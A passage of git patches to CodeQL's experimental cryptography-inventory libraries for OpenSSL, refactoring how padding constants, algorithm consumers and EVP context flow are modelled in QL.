.../PaddingAlgorithmValueConsumer.qll | 8 +-- .../experimental/quantum/OpenSSL/CtxFlow.qll | 53 +++++++++++---- .../experimental/quantum/OpenSSL/OpenSSL.qll | 12 ++-- .../OpenSSL/Operations/ECKeyGenOperation.qll | 6 +- .../OpenSSL/Operations/EVPHashOperation.qll | 11 +--- 15 files changed, 101 insertions(+), 89 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/Language.qll b/cpp/ql/lib/experimental/quantum/Language.qll index ab3ce039cc5c..75ed05ef6fa2 100644 --- a/cpp/ql/lib/experimental/quantum/Language.qll +++ b/cpp/ql/lib/experimental/quantum/Language.qll @@ -94,7 +94,10 @@ private class ConstantDataSource extends Crypto::GenericConstantSourceInstance i // where typical algorithms are specified, but EC specifically means set up a // default curve container, that will later be specified explicitly (or if not a default) // curve is used. - this.getValue() != "EC" + this.getValue() != "EC" and + // Exclude all 0's as algorithms. Currently we know of no algorithm defined as 0, and + // the typical case is 0 is assigned to represent null. + this.getValue().toInt() != 0 } override DataFlow::Node getOutputNode() { result.asExpr() = this } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll index 045e3649e410..c2df3989f811 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/AlgToAVCFlow.qll @@ -3,6 +3,7 @@ private import experimental.quantum.Language private import semmle.code.cpp.dataflow.new.DataFlow private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import PaddingAlgorithmInstance /** * Traces 'known algorithms' to AVCs, specifically @@ -19,6 +20,9 @@ module KnownOpenSSLAlgorithmToAlgorithmValueConsumerConfig implements DataFlow:: predicate isSink(DataFlow::Node sink) { exists(OpenSSLAlgorithmValueConsumer c | c.getInputNode() = sink and + // exclude padding algorithm consumers, since + // these consumers take in different constant values + // not in the typical "known algorithm" set not c instanceof PaddingAlgorithmValueConsumer ) } @@ -43,9 +47,7 @@ module KnownOpenSSLAlgorithmToAlgorithmValueConsumerFlow = DataFlow::Global; module RSAPaddingAlgorithmToPaddingAlgorithmValueConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - source.asExpr() instanceof KnownOpenSSLAlgorithmConstant - } + predicate isSource(DataFlow::Node source) { source.asExpr() instanceof OpenSSLPaddingLiteral } predicate isSink(DataFlow::Node sink) { exists(PaddingAlgorithmValueConsumer c | c.getInputNode() = sink) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll index 299d8c886940..1bc7d12e9847 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/BlockAlgorithmInstance.qll @@ -8,7 +8,7 @@ private import AlgToAVCFlow /** * Given a `KnownOpenSSLBlockModeAlgorithmConstant`, converts this to a block family type. - * Does not bind if there is know mapping (no mapping to 'unknown' or 'other'). + * Does not bind if there is no mapping (no mapping to 'unknown' or 'other'). */ predicate knownOpenSSLConstantToBlockModeFamilyType( KnownOpenSSLBlockModeAlgorithmConstant e, Crypto::TBlockCipherModeOfOperationType type diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll index 0e41b50300c8..a6415df31c6f 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/CipherAlgorithmInstance.qll @@ -11,7 +11,7 @@ private import BlockAlgorithmInstance /** * Given a `KnownOpenSSLCipherAlgorithmConstant`, converts this to a cipher family type. - * Does not bind if there is know mapping (no mapping to 'unknown' or 'other'). + * Does not bind if there is no mapping (no mapping to 'unknown' or 'other'). */ predicate knownOpenSSLConstantToCipherFamilyType( KnownOpenSSLCipherAlgorithmConstant e, Crypto::KeyOpAlg::TAlgorithm type diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index 5e7e16b13dc6..0491aba51799 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -1,5 +1,4 @@ import cpp -private import experimental.quantum.OpenSSL.LibraryDetector predicate resolveAlgorithmFromExpr(Expr e, string normalizedName, string algType) { resolveAlgorithmFromCall(e, normalizedName, algType) @@ -20,7 +19,7 @@ class KnownOpenSSLCipherAlgorithmConstant extends KnownOpenSSLAlgorithmConstant KnownOpenSSLCipherAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%encryption") + algType.matches("%ENCRYPTION") } int getExplicitKeySize() { @@ -37,7 +36,7 @@ class KnownOpenSSLPaddingAlgorithmConstant extends KnownOpenSSLAlgorithmConstant KnownOpenSSLPaddingAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%padding") + algType.matches("%PADDING") } } @@ -46,7 +45,7 @@ class KnownOpenSSLBlockModeAlgorithmConstant extends KnownOpenSSLAlgorithmConsta KnownOpenSSLBlockModeAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%block_mode") + algType.matches("%BLOCK_MODE") } } @@ -55,7 +54,7 @@ class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { KnownOpenSSLHashAlgorithmConstant() { resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("%hash") + algType.matches("%HASH") } int getExplicitDigestLength() { @@ -71,7 +70,7 @@ class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmCo KnownOpenSSLEllipticCurveAlgorithmConstant() { exists(string algType | resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("elliptic_curve") + algType.matches("ELLIPTIC_CURVE") ) } } @@ -89,7 +88,6 @@ class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmCo * alias = "dss1" and target = "dsaWithSHA1" */ predicate resolveAlgorithmFromCall(Call c, string normalized, string algType) { - isPossibleOpenSSLFunction(c.getTarget()) and exists(string name, string parsedTargetName | parsedTargetName = c.getTarget().getName().replaceAll("EVP_", "").toLowerCase().replaceAll("_", "-") and diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll index 2979f1c303fb..d6be45c22ff8 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll @@ -6,9 +6,26 @@ private import AlgToAVCFlow private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.DirectAlgorithmValueConsumer private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +/** + * A class to define padding specific integer values. + * from rsa.h in openssl: + * # define RSA_PKCS1_PADDING 1 + * # define RSA_NO_PADDING 3 + * # define RSA_PKCS1_OAEP_PADDING 4 + * # define RSA_X931_PADDING 5 + * # define RSA_PKCS1_PSS_PADDING 6 + * # define RSA_PKCS1_WITH_TLS_PADDING 7 + * # define RSA_PKCS1_NO_IMPLICIT_REJECT_PADDING 8 + */ +class OpenSSLPaddingLiteral extends Literal { + // TODO: we can be more specific about where the literal is in a larger expression + // to avoid literals that are clealy not representing an algorithm, e.g., array indices. + OpenSSLPaddingLiteral() { this.getValue().toInt() in [0, 1, 3, 4, 5, 6, 7, 8] } +} + /** * Given a `KnownOpenSSLPaddingAlgorithmConstant`, converts this to a padding family type. - * Does not bind if there is know mapping (no mapping to 'unknown' or 'other'). + * Does not bind if there is no mapping (no mapping to 'unknown' or 'other'). */ predicate knownOpenSSLConstantToPaddingFamilyType( KnownOpenSSLPaddingAlgorithmConstant e, Crypto::TPaddingType type @@ -60,19 +77,8 @@ class KnownOpenSSLPaddingConstantAlgorithmInstance extends OpenSSLAlgorithmInsta this instanceof KnownOpenSSLPaddingAlgorithmConstant and isPaddingSpecificConsumer = false or - // Possibility 3: - // from rsa.h in openssl: - // # define RSA_PKCS1_PADDING 1 - // # define RSA_NO_PADDING 3 - // # define RSA_PKCS1_OAEP_PADDING 4 - // # define RSA_X931_PADDING 5 - // /* EVP_PKEY_ only */ - // # define RSA_PKCS1_PSS_PADDING 6 - // # define RSA_PKCS1_WITH_TLS_PADDING 7 - // /* internal RSA_ only */ - // # define RSA_PKCS1_NO_IMPLICIT_REJECT_PADDING 8 - this instanceof Literal and - this.getValue().toInt() in [0, 1, 3, 4, 5, 6, 7, 8] and + // Possibility 3: padding-specific literal + this instanceof OpenSSLPaddingLiteral and exists(DataFlow::Node src, DataFlow::Node sink | // Sink is an argument to a CipherGetterCall sink = getterCall.(OpenSSLAlgorithmValueConsumer).getInputNode() and @@ -88,24 +94,24 @@ class KnownOpenSSLPaddingConstantAlgorithmInstance extends OpenSSLAlgorithmInsta override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } + Crypto::TPaddingType getKnownPaddingType() { + this.(Literal).getValue().toInt() in [1, 7, 8] and result = Crypto::PKCS1_v1_5() + or + this.(Literal).getValue().toInt() = 3 and result = Crypto::NoPadding() + or + this.(Literal).getValue().toInt() = 4 and result = Crypto::OAEP() + or + this.(Literal).getValue().toInt() = 5 and result = Crypto::ANSI_X9_23() + or + this.(Literal).getValue().toInt() = 6 and result = Crypto::PSS() + } + override Crypto::TPaddingType getPaddingType() { isPaddingSpecificConsumer = true and ( - if this.(Literal).getValue().toInt() in [1, 7, 8] - then result = Crypto::PKCS1_v1_5() - else - if this.(Literal).getValue().toInt() = 3 - then result = Crypto::NoPadding() - else - if this.(Literal).getValue().toInt() = 4 - then result = Crypto::OAEP() - else - if this.(Literal).getValue().toInt() = 5 - then result = Crypto::ANSI_X9_23() - else - if this.(Literal).getValue().toInt() = 6 - then result = Crypto::PSS() - else result = Crypto::OtherPadding() + result = getKnownPaddingType() + or + not exists(getKnownPaddingType()) and result = Crypto::OtherPadding() ) or isPaddingSpecificConsumer = false and diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll index 00fc4d735a5c..8aa5d946baee 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/CipherAlgorithmValueConsumer.qll @@ -1,6 +1,5 @@ import cpp private import experimental.quantum.Language -private import experimental.quantum.OpenSSL.LibraryDetector private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase private import OpenSSLAlgorithmValueConsumerBase @@ -14,7 +13,6 @@ class EVPCipherAlgorithmValueConsumer extends CipherAlgorithmValueConsumer { EVPCipherAlgorithmValueConsumer() { resultNode.asExpr() = this and - isPossibleOpenSSLFunction(this.(Call).getTarget()) and ( this.(Call).getTarget().getName() in [ "EVP_get_cipherbyname", "EVP_get_cipherbyobj", "EVP_get_cipherbynid" diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll index 79aada45bd98..4bff4cb05db2 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll @@ -1,6 +1,5 @@ import cpp private import experimental.quantum.Language -private import experimental.quantum.OpenSSL.LibraryDetector private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances @@ -14,7 +13,6 @@ class EVPEllipticCurveAlgorithmConsumer extends EllipticCurveValueConsumer { EVPEllipticCurveAlgorithmConsumer() { resultNode.asExpr() = this.(Call) and // in all cases the result is the return - isPossibleOpenSSLFunction(this.(Call).getTarget()) and ( this.(Call).getTarget().getName() in ["EVP_EC_gen", "EC_KEY_new_by_curve_name"] and valueArgNode.asExpr() = this.(Call).getArgument(0) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll index 200b08849f51..b0cdee1f8f5d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll @@ -1,5 +1,4 @@ private import experimental.quantum.Language -private import semmle.code.cpp.dataflow.new.DataFlow abstract class OpenSSLAlgorithmValueConsumer extends Crypto::AlgorithmValueConsumer instanceof Call { /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll index 8da40884a3af..0d40ceeb68af 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll @@ -1,6 +1,5 @@ import cpp private import experimental.quantum.Language -private import experimental.quantum.OpenSSL.LibraryDetector private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances @@ -13,7 +12,6 @@ class EVPPKeyAlgorithmConsumer extends PKeyValueConsumer { EVPPKeyAlgorithmConsumer() { resultNode.asExpr() = this.(Call) and // in all cases the result is the return - isPossibleOpenSSLFunction(this.(Call).getTarget()) and ( // NOTE: some of these consumers are themselves key gen operations, // in these cases, the operation will be created separately for the same function. diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll index bb33ad653817..0a06ec5fd6f0 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll @@ -1,6 +1,5 @@ import cpp private import experimental.quantum.Language -private import experimental.quantum.OpenSSL.LibraryDetector private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase private import OpenSSLAlgorithmValueConsumerBase @@ -16,11 +15,8 @@ class EVP_PKEY_CTX_set_rsa_padding_AlgorithmValueConsumer extends PaddingAlgorit EVP_PKEY_CTX_set_rsa_padding_AlgorithmValueConsumer() { resultNode.asExpr() = this and - isPossibleOpenSSLFunction(this.(Call).getTarget()) and - ( - this.(Call).getTarget().getName() in ["EVP_PKEY_CTX_set_rsa_padding"] and - valueArgNode.asExpr() = this.(Call).getArgument(1) - ) + this.(Call).getTarget().getName() in ["EVP_PKEY_CTX_set_rsa_padding"] and + valueArgNode.asExpr() = this.(Call).getArgument(1) } override DataFlow::Node getResultNode() { result = resultNode } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll index 88e4a1c378b0..b2a31484de71 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll @@ -20,48 +20,74 @@ import semmle.code.cpp.dataflow.new.DataFlow -class CTXType extends Type { - CTXType() { - // TODO: should we limit this to an openssl path? - this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") - } +/** + * An openSSL CTX type, which is type for which the stripped underlying type + * matches the pattern 'evp_%ctx_%st'. + * This includes types like: + * - EVP_CIPHER_CTX + * - EVP_MD_CTX + * - EVP_PKEY_CTX + */ +private class CTXType extends Type { + CTXType() { this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") } } -class CTXPointerExpr extends Expr { +/** + * A pointer to a CTXType + */ +private class CTXPointerExpr extends Expr { CTXPointerExpr() { this.getType() instanceof CTXType and this.getType() instanceof PointerType } } -class CTXPointerArgument extends CTXPointerExpr { +/** + * A call argument of type CTXPointerExpr. + */ +private class CTXPointerArgument extends CTXPointerExpr { CTXPointerArgument() { exists(Call c | c.getAnArgument() = this) } Call getCall() { result.getAnArgument() = this } } -class CTXClearCall extends Call { +/** + * A call whose target contains 'free' or 'reset' and has an argument of type + * CTXPointerArgument. + */ +private class CTXClearCall extends Call { CTXClearCall() { this.getTarget().getName().toLowerCase().matches(["%free%", "%reset%"]) and this.getAnArgument() instanceof CTXPointerArgument } } -class CTXCopyOutArgCall extends Call { +/** + * A call whose target contains 'copy' and has an argument of type + * CTXPointerArgument. + */ +private class CTXCopyOutArgCall extends Call { CTXCopyOutArgCall() { - this.getTarget().getName().toLowerCase().matches(["%copy%"]) and + this.getTarget().getName().toLowerCase().matches("%copy%") and this.getAnArgument() instanceof CTXPointerArgument } } -class CTXCopyReturnCall extends Call { +/** + * A call whose target contains 'dup' and has an argument of type + * CTXPointerArgument. + */ +private class CTXCopyReturnCall extends Call { CTXCopyReturnCall() { - this.getTarget().getName().toLowerCase().matches(["%dup%"]) and + this.getTarget().getName().toLowerCase().matches("%dup%") and this.getAnArgument() instanceof CTXPointerArgument and this instanceof CTXPointerExpr } } +/** + * Flow from any CTXPointerArgument to any other CTXPointerArgument + */ module OpenSSLCTXArgumentFlowConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source.asExpr() instanceof CTXPointerArgument } @@ -90,6 +116,9 @@ module OpenSSLCTXArgumentFlowConfig implements DataFlow::ConfigSig { module OpenSSLCTXArgumentFlow = DataFlow::Global; +/** + * Holds if there is a context flow from the source to the sink. + */ predicate ctxArgFlowsToCtxArg(CTXPointerArgument source, CTXPointerArgument sink) { exists(DataFlow::Node a, DataFlow::Node b | OpenSSLCTXArgumentFlow::flow(a, b) and diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll index a232ffa6f3a7..68fdfb731241 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll @@ -1,10 +1,6 @@ -import cpp -import semmle.code.cpp.dataflow.new.DataFlow - module OpenSSLModel { - import experimental.quantum.Language - import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances - import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers - import experimental.quantum.OpenSSL.Operations.OpenSSLOperations - import experimental.quantum.OpenSSL.Random + import AlgorithmInstances.OpenSSLAlgorithmInstances + import AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers + import Operations.OpenSSLOperations + import Random } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll index 9dc723bb5d11..4f07ecc0f9e3 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll @@ -1,5 +1,4 @@ private import experimental.quantum.Language -private import experimental.quantum.OpenSSL.LibraryDetector private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow private import OpenSSLOperationBase private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers @@ -18,10 +17,7 @@ private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { private module AlgGetterToAlgConsumerFlow = DataFlow::Global; class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperationInstance { - ECKeyGenOperation() { - this.(Call).getTarget().getName() = "EC_KEY_generate_key" and - isPossibleOpenSSLFunction(this.(Call).getTarget()) - } + ECKeyGenOperation() { this.(Call).getTarget().getName() = "EC_KEY_generate_key" } override Expr getOutputArg() { result = this.(Call) // return value of call diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll index 81248d5bad10..43d10545357e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll @@ -4,7 +4,6 @@ private import experimental.quantum.Language private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow -private import experimental.quantum.OpenSSL.LibraryDetector private import OpenSSLOperationBase private import EVPHashInitializer private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers @@ -42,10 +41,7 @@ private module AlgGetterToAlgConsumerFlow = DataFlow::Global Date: Wed, 21 May 2025 15:24:03 -0400 Subject: [PATCH 280/535] Crypto: Further code cleanup --- .../PaddingAlgorithmInstance.qll | 4 +- .../PaddingAlgorithmValueConsumer.qll | 2 +- .../experimental/quantum/OpenSSL/CtxFlow.qll | 67 +++++++++---------- 3 files changed, 36 insertions(+), 37 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll index d6be45c22ff8..8db2dc3ab4b7 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/PaddingAlgorithmInstance.qll @@ -109,9 +109,9 @@ class KnownOpenSSLPaddingConstantAlgorithmInstance extends OpenSSLAlgorithmInsta override Crypto::TPaddingType getPaddingType() { isPaddingSpecificConsumer = true and ( - result = getKnownPaddingType() + result = this.getKnownPaddingType() or - not exists(getKnownPaddingType()) and result = Crypto::OtherPadding() + not exists(this.getKnownPaddingType()) and result = Crypto::OtherPadding() ) or isPaddingSpecificConsumer = false and diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll index 0a06ec5fd6f0..c60918519c80 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll @@ -15,7 +15,7 @@ class EVP_PKEY_CTX_set_rsa_padding_AlgorithmValueConsumer extends PaddingAlgorit EVP_PKEY_CTX_set_rsa_padding_AlgorithmValueConsumer() { resultNode.asExpr() = this and - this.(Call).getTarget().getName() in ["EVP_PKEY_CTX_set_rsa_padding"] and + this.(Call).getTarget().getName() = "EVP_PKEY_CTX_set_rsa_padding" and valueArgNode.asExpr() = this.(Call).getArgument(1) } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll index b2a31484de71..cbce19fb5dfe 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll @@ -28,100 +28,99 @@ import semmle.code.cpp.dataflow.new.DataFlow * - EVP_MD_CTX * - EVP_PKEY_CTX */ -private class CTXType extends Type { - CTXType() { this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") } +private class CtxType extends Type { + CtxType() { this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") } } /** - * A pointer to a CTXType + * A pointer to a CtxType */ -private class CTXPointerExpr extends Expr { - CTXPointerExpr() { - this.getType() instanceof CTXType and +private class CtxPointerExpr extends Expr { + CtxPointerExpr() { + this.getType() instanceof CtxType and this.getType() instanceof PointerType } } /** - * A call argument of type CTXPointerExpr. + * A call argument of type CtxPointerExpr. */ -private class CTXPointerArgument extends CTXPointerExpr { - CTXPointerArgument() { exists(Call c | c.getAnArgument() = this) } +private class CtxPointerArgument extends CtxPointerExpr { + CtxPointerArgument() { exists(Call c | c.getAnArgument() = this) } Call getCall() { result.getAnArgument() = this } } /** * A call whose target contains 'free' or 'reset' and has an argument of type - * CTXPointerArgument. + * CtxPointerArgument. */ -private class CTXClearCall extends Call { - CTXClearCall() { +private class CtxClearCall extends Call { + CtxClearCall() { this.getTarget().getName().toLowerCase().matches(["%free%", "%reset%"]) and - this.getAnArgument() instanceof CTXPointerArgument + this.getAnArgument() instanceof CtxPointerArgument } } /** * A call whose target contains 'copy' and has an argument of type - * CTXPointerArgument. + * CtxPointerArgument. */ -private class CTXCopyOutArgCall extends Call { - CTXCopyOutArgCall() { +private class CtxCopyOutArgCall extends Call { + CtxCopyOutArgCall() { this.getTarget().getName().toLowerCase().matches("%copy%") and - this.getAnArgument() instanceof CTXPointerArgument + this.getAnArgument() instanceof CtxPointerArgument } } /** * A call whose target contains 'dup' and has an argument of type - * CTXPointerArgument. + * CtxPointerArgument. */ -private class CTXCopyReturnCall extends Call { - CTXCopyReturnCall() { +private class CtxCopyReturnCall extends Call, CtxPointerExpr { + CtxCopyReturnCall() { this.getTarget().getName().toLowerCase().matches("%dup%") and - this.getAnArgument() instanceof CTXPointerArgument and - this instanceof CTXPointerExpr + this.getAnArgument() instanceof CtxPointerArgument } } /** - * Flow from any CTXPointerArgument to any other CTXPointerArgument + * Flow from any CtxPointerArgument to any other CtxPointerArgument */ -module OpenSSLCTXArgumentFlowConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source.asExpr() instanceof CTXPointerArgument } +module OpenSSLCtxArgumentFlowConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source) { source.asExpr() instanceof CtxPointerArgument } - predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof CTXPointerArgument } + predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof CtxPointerArgument } predicate isBarrier(DataFlow::Node node) { - exists(CTXClearCall c | c.getAnArgument() = node.asExpr()) + exists(CtxClearCall c | c.getAnArgument() = node.asExpr()) } predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) { - exists(CTXCopyOutArgCall c | + exists(CtxCopyOutArgCall c | c.getAnArgument() = node1.asExpr() and c.getAnArgument() = node2.asExpr() and node1.asExpr() != node2.asExpr() and - node2.asExpr().getType() instanceof CTXType + node2.asExpr().getType() instanceof CtxType ) or - exists(CTXCopyReturnCall c | + exists(CtxCopyReturnCall c | c.getAnArgument() = node1.asExpr() and c = node2.asExpr() and node1.asExpr() != node2.asExpr() and - node2.asExpr().getType() instanceof CTXType + node2.asExpr().getType() instanceof CtxType ) } } -module OpenSSLCTXArgumentFlow = DataFlow::Global; +module OpenSSLCtxArgumentFlow = DataFlow::Global; /** * Holds if there is a context flow from the source to the sink. */ -predicate ctxArgFlowsToCtxArg(CTXPointerArgument source, CTXPointerArgument sink) { +predicate ctxArgFlowsToCtxArg(CtxPointerArgument source, CtxPointerArgument sink) { exists(DataFlow::Node a, DataFlow::Node b | - OpenSSLCTXArgumentFlow::flow(a, b) and + OpenSSLCtxArgumentFlow::flow(a, b) and a.asExpr() = source and b.asExpr() = sink ) From 463a71155266d8e2508579f428c86c3503b5bfdb Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 21 May 2025 22:22:10 +0100 Subject: [PATCH 281/535] Use reflection for interface nil check instead --- go/extractor/extractor.go | 24 ++++-------------------- 1 file changed, 4 insertions(+), 20 deletions(-) diff 